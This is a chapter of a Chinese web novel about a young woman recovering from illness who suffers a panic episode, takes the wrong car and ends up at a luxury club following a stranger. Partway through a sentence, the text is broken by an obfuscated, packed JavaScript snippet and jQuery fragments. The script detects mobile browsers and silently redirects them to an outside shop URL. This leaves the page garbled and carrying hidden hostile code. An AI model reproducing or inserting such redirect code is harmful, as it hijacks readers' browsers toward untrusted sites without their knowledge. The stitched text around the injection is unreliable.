4月20日谷雨，黄晶早上醒来的时候，窗外的天光已经亮透了。她摸到手机看了一眼——七点三十一分。黄晶躺在床上没动，感受了一下自己的身体：脑袋不沉，胸口那块压了很久的湿毛巾好像轻了一点。她已经很久没有在早上醒来时觉得“我还行”了。
黄晶起身拉开窗帘。四月的晨风从窗缝里灌进来，带着一点凉意和树叶的味道。楼下那几棵叫不出名字的树，叶子已经绿透了，在风里轻轻抖着。她站在窗前深吸了一口气，然后去洗漱。
新买的电煮锅在台面上等着她。黄晶往锅里倒了一小撮米，淘洗后加水到三分之二，盖上盖子，按下开关。蒸笼里搁了两个速冻馒头。
然后她靠在台子边上，看着锅盖边缘慢慢冒出白气，听着锅里咕嘟咕嘟的声音渐渐密集起来。米香从锅盖缝隙里钻出来，混在四月清晨的空气里，把整个房间都填暖了。
黄晶把粥盛进那只不规则的大沙拉碗里，拿起馒头，坐在书桌前，一口一口地吃。阳光从南窗照进来，正好落在她身上，暖烘烘的。
吃完粥，她洗了碗，从药盒里倒出药片，就着温水咽下去。然后翻开手账本，在“早上煮粥，蒸馒头”那一行旁边，用力地打了一个勾。
之后睡了个回笼觉，到午饭时间又下楼在附近吃了一份青椒土豆丝盖浇饭。
中午简单眯了会就醒了。时间还早，黄晶发现今天她没什么事要做，其实她本来也没什么事要做。于是决定找个公园逛逛，晒晒太阳，光合作用一下。查了天气预报，多云转晴，降水概率百分之十。百分之十，四舍五入就是不会下雨。黄晶换上粉色衬衫，里面一件白背心打底，浅色阔腿裤，德训鞋，背上斜挎包出了门。
公园不大，有湖有树有长椅。黄晶绕着湖走了两圈，坐在长椅上看了会儿鸭子。两只绿头鸭一前一后地从水面上滑过去，屁股一扭一扭的，她看着笑了一下，拿出手机拍了张照片。
太阳照着后背暖融融的，黄晶靠在椅背上，仰起脸，闭着眼睛晒了会儿太阳。
黄晶觉得自己可能真的要好了，像春天的树一样一点一点抽芽的好——她今天早上能自己醒了，能给自己煮粥了，能出门散步了，能在阳光下闭上眼睛什么都不怕了……她很快就会好的。她肯定能好。
然而天突然变了。
黄晶睁开眼睛的时候发现膝盖上的阳光没了，湖面上那层粼粼的金光也消失了。她抬起头，看到天边那一半已经下白了，像是谁在天上泼了一盆牛奶，白茫茫地往下压。
而她头顶这一半是黑的，乌云堆得又厚又低，随时能挤出水来。空气一下子变得闷热潮湿，像被人捂住了口鼻。
黄晶站在公园，能感觉到自己的心跳在加快——因为下雨前的气压变化，她的身体比天气预报还灵敏。
她开始出汗，从额头和后背同时往外冒，衬衫很快就黏在背上。手开始抖，很轻微的，但她能感觉到。心也开始发慌。指甲掐进掌心里，有一点点疼，但那种疼是远的，像隔了一层什么东西。呼吸变重了，每一口气都像是要从很深的地方才能吸上来。
她需要赶紧回去！
站在路边，黄晶掏出手机打车。屏幕上的字在晃，输入目的地，确认，等待接单。界面上跳出车型和颜色，她看了一眼——又是一辆深色的。
黄晶把手机塞回包里，站在路边等。风开始刮起来，带着雨腥味，吹得她衬衫下摆啪啪地响。头发糊在脸上，她伸手拨开，手背碰到脸颊的时候发现自己的脸是烫的。
车到了。
一辆深色的车停在路边。副驾驶的门开了，下来一个女生，踩着高跟鞋，关门的时候力道不轻，“砰”的一声。
黄晶没注意那个女生的表情，也没注意她走远之后回头看了一眼。她只看到有人下车了，车上现在没人了，司机大概是刚完成上一个订单。
黄晶拉开车门，坐进后座。
车里的冷气开得很足，跟外面完全是两个世界。但她还是在出汗。黄晶一只手从包里摸出纸巾，抽了一张按在额头上，另一只手把车门关上。车门的重量比她预想的轻，关上的时候发出沉闷的一声响。
“4938”，她努力开口报手机尾号，声音是哑的，含含糊糊。她清了清嗓子，想再说一遍，但喉咙像被什么东西堵住了，发不出声。
黄晶闭上眼睛，纸巾按在额头上，另一只手抱着自己的手臂。
她的身体还在抖。
车开了。
闻则远从后视镜里看了她一眼：女孩，看着年纪不大，穿粉色衬衫，脸上都是汗，一上车就拿纸巾擦，也不说话。
装。他在心里哼了一声。这种场面他不是第一次见了——上车不说话，红着脸，等别人主动。带她去派对，到了地方倒是眼睛亮了。
所以这个呢？这次又是什么路数？
闻则远靠在驾驶座上，手指在方向盘上敲着，没再回头。反正带谁不是带。
车里很安静。空调的冷气从出风口嘶嘶地吹出来，窗外的天色越来越暗，雨还没有下，但空气已经湿得能拧出水。
黄晶双手抱着自己的手臂，她能感觉到自己的心跳在胸腔里撞得太快、太乱，像一个跑调很久的鼓手想追上节拍，但手脚发软，追不上。呼吸还是重的，每一下都要用力才能把气推进肺里。
黄晶想开口说话，但是嘴张不开。她的身体和大脑之间像是断了一条线——大脑在下指令，但身体收不到信号。这种感觉她太熟悉了。每次犯病都是这样，说不出来，动不了，像是被什么东西压在原地，只能等它自己走。
外面的天彻底黑了，豆大的雨点终于砸在车窗上，噼里啪啦，像谁在天上倒了一盆豆子。雨声把车里的安静填满，也把她急促的呼吸声盖住了。
车驶出了她熟悉的街区。
不知道过了多久，车速慢了下来。透过车窗看到外面有一栋很大的建筑，灯光从地面打到天上，金灿灿的，刺得黄晶眯了眯眼。门口站着穿制服的人，车停下的时候有人过来开门，语气带着一种训练过的殷勤：“闻少。”
黄晶坐在后座上，纸巾已经被汗浸透了，握在手心里凉凉的。她看着车窗外那个金碧辉煌的大门，忽然觉得有点不对。这里不是八角，不是她认识的那些灰扑扑的居民楼和路边小店，门口也没有那个她已经开始熟悉的共享单车。
这里是另外一个地方，另外一个北京。黄晶的呼吸还是没缓过来，脑子也有些疼，但有一个念头慢慢浮上来了：她好像又坐错车了。
但这次，她连话都说不出来。
闻则远走在前面。酒红色衬衫，面料在灯光下泛着暗哑的光泽，领口解开两颗扣子，袖口挽到小臂，露出精瘦的手腕和一块够分量的表。下身是剪裁合体的黑色长裤，裹着修长的腿，皮鞋锃亮。
他走得不快，跟沿途遇到的熟人打招呼，偶尔停下来聊两句，笑得张扬，完全没回头看一眼身后跟着的人。
黄晶跟在他身后。从车里出来之后，身体稍微好了一点——不再抖得那么厉害了，呼吸也没有刚才那么急促，心率在慢慢降下来，但脑子还是木的，像是被一层厚厚的雾裹着，什么都看不清，什么都想不明。
她几乎是本能地跟着前面那个酒红色的背影，因为他走的方向是她唯一能辨认的参照物。黄晶不知道这是哪里，不知道这里在干什么，不知道自己为什么在这里。她只知道跟着走，不要停，不要摔倒，不要在这么多人面前出丑。
会馆里的灯光太亮了，亮得她眼睛发酸。音乐声和说笑声混在一起，从四面八方向她涌来，每一个声音都像是隔着一层水，模模糊糊的，听不真切。有人从她身边经过，好奇地看了她一眼，又移开了目光。
黄晶穿着粉色衬衫，背着斜挎包，和这里的每个人都格格不入，但没有人上前问她。在这种地方，每个人都有自己的事。
会馆内部比她想象的大得多。
大堂挑高至少十米，头顶有什么东西在发光，晃得黄晶眼睛疼——大概是灯，很多很多的灯。脚下踩着什么硬而光滑的东西，能照出模糊的人影。
穿着旗袍的女人端着托盘从她身边经过，身上不知道喷了什么，甜得发腻。音乐从不同的方向飘过来，这边慢一点，那边快一点，混在一起，像一锅煮糊了的粥。有人从一扇半开的门里走出来，带出一股雪茄的苦味，门缝里闪过一张牌桌和码得高高的筹码。
黄晶没看那些。她一直盯着前面那个酒红色的背影，跟着他穿过一道又一道长廊。
走廊两边的墙上挂着画，看不清画的是什么，框子倒是很精致。脚下踩着的不知道什么东西，软绵绵的，一点声音都没有。
闻则远手里不知道什么时候多了一只红酒杯，手指修长，指甲修剪得很干净，端着杯子的姿态很随意，像是做惯了这件事。
黄晶不远不近地跟着，保持着大概两三米的距离。她习惯了这个距离——小时候跟着妈妈去赶集，人太多，妈妈怕她走丢，让她跟在自己身后三步远的地方，不能太近，太近会踩到妈妈的鞋后跟，也不能太远，太远会被挤散。后来跟朋友出去玩，她也是这么跟着的。朋友们在前面带路，她在后面走，不用看导航，不用记方向，只要盯着前面那个人的后脑勺就行。
她妈说她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634920|206530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是个“跟脚精”，走哪儿跟哪儿。她也没反驳，确实是这样。出门旅游她几乎不带脑子，朋友往哪儿走她就往哪儿走，朋友拐弯她就拐弯，朋友停下她就停下，从没走丢过。
这个本事现在派上了用场——会馆里人很多，穿着华服的男男女女端着酒杯穿梭来往，时不时有人从她面前经过，挡住她的视线。但黄晶总能从人群的缝隙里重新找到那抹酒红色。有时候人影一闪不见了，她环顾四周，又在另一个方向看到，然后穿过人群跟上去。
他在一个半开放的卡座停了下来。几个沙发上坐满了人，有男有女，衣着光鲜。闻则远跟其中一个人碰了碰拳，在沙发上坐下，翘起二郎腿，抿了一口红酒。
他坐下来之后，酒红色的衬衫被沙发靠背映衬着，在昏暗的灯光下反而更显眼了。
黄晶在旁边另一个沙发上坐下来。这个位置离他不近不远，能清楚看到他的侧脸，也不会太显眼。她把斜挎包放在腿上，两只手交叠着按在包上，脊背挺得笔直。
黄晶还在出汗。会馆里的冷气其实很足，但她身体里那股燥热还没退干净，衬衫的后背还是潮的。
黄晶把手伸进包里摸出一包纸巾，抽了一张按在额头上，又抽了一张擦了擦脖子上的汗。手还在抖，比刚才好了一点，但还是抖。擦汗的时候纸巾的边缘一直在颤。
手机从包里滑出来，黄晶看了一眼屏幕。10%的电量，红色的数字在屏幕右上角闪烁，像一个小小的警报灯。她按了一下电源键把屏幕关了，又把手机塞回包里。不能再用手机了，这点电量要留着，万一有什么事还能打一个电话。虽然她现在也想不出自己能打给谁。
黄晶抬起头，继续盯着那个酒红色的背影。现在人在这里，坐着，暂时不会跑。她只要等他空下来，走过去跟他说——说什么呢？她在心里演练了一下：不好意思，我上错车了，能不能麻烦你送我回去？不行的话帮我叫个车也行，我手机没电了。
这样说可以吗？应该可以。等她能开口的时候就这么说。
坐在闻则远旁边的殷厌穿着一件黑色的休闲西装外套，手里夹着一支雪茄，正顺着闻则远的目光往黄晶这边瞥了一眼。
殷厌跟闻则远说了句什么，声音压得很低，被音乐盖住了。
闻则远笑了一下，摇了摇头：“不是女朋友，就是带过来的”。声音不大不小，黄晶没听清，殷厌倒是听清了，点点头，没再追问。
这时候另一个人走了过来。这人个子挺高，穿得比在场的人都随意——一件灰色的T恤，外面套了件薄夹克，手里拎着一瓶啤酒，是过来敬酒的。敬完之后他没有走，而是顺着谁的示意看到了黄晶。
孙述端着啤酒瓶在黄晶旁边的沙发扶手上坐了下来，侧着头看了看她。
黄晶没看他，她的目光还是锁定在那个酒红色背影上。
孙述嘴角微微上扬，觉得有意思。“你跟着闻少来的？”他问。
黄晶没有回应。
孙述的笑意顿了顿。他转头看了殷厌一眼，殷厌举了举雪茄，嘴角一撇，意思是你别碰钉子了。
孙述又转回来，目光在黄晶的侧脸上停了两秒，那两秒里笑意没变，但眼睛里的温度降了一点。
“她看都不看我一眼。”他对殷厌说，语气轻飘飘的，像是在开玩笑。殷厌笑了一下，没接话。
孙述站起来，在那里又立了一会儿。
黄晶依然没看他。
孙述的嘴角还挂着笑，但那笑容已经和刚才不一样了——更薄，更淡，像一层贴上去的纸。他对闻则远说了句什么，似乎是“闻少魅力真大”之类的话，语气还是轻松的，但转身的时候，又看了黄晶一眼。
闻则远头也没回，只是摆了摆手，意思是别闹。
其他人端着酒杯过来跟闻则远和殷厌打招呼。孙述被人拉去另一边的酒桌，走之前又回头看了一眼黄晶——她还是那个姿势，脊背挺直，双手按着包，眼睛盯着闻则远。
孙述摇了摇头，笑着走了。那笑还挂在脸上，但眼底是冷的。
黄晶根本不知道刚才有人在搭讪自己。她的全部注意力都在闻则远身上——他是她现在唯一的线索，她得守住他。
黄晶又在心里演练了一遍：不好意思，我上错车了。能不能麻烦你送我回去？不行的话帮我叫个车也行，我手机没电了。
快点缓过来！
黄晶用力攥了攥拳头，指甲在掌心里压出几个小小的月牙印。快点能说话啊！她深吸了一口气，再慢慢呼出去……
窗外的雨声还是很大，噼里啪啦地砸在玻璃上，没有要停的意思。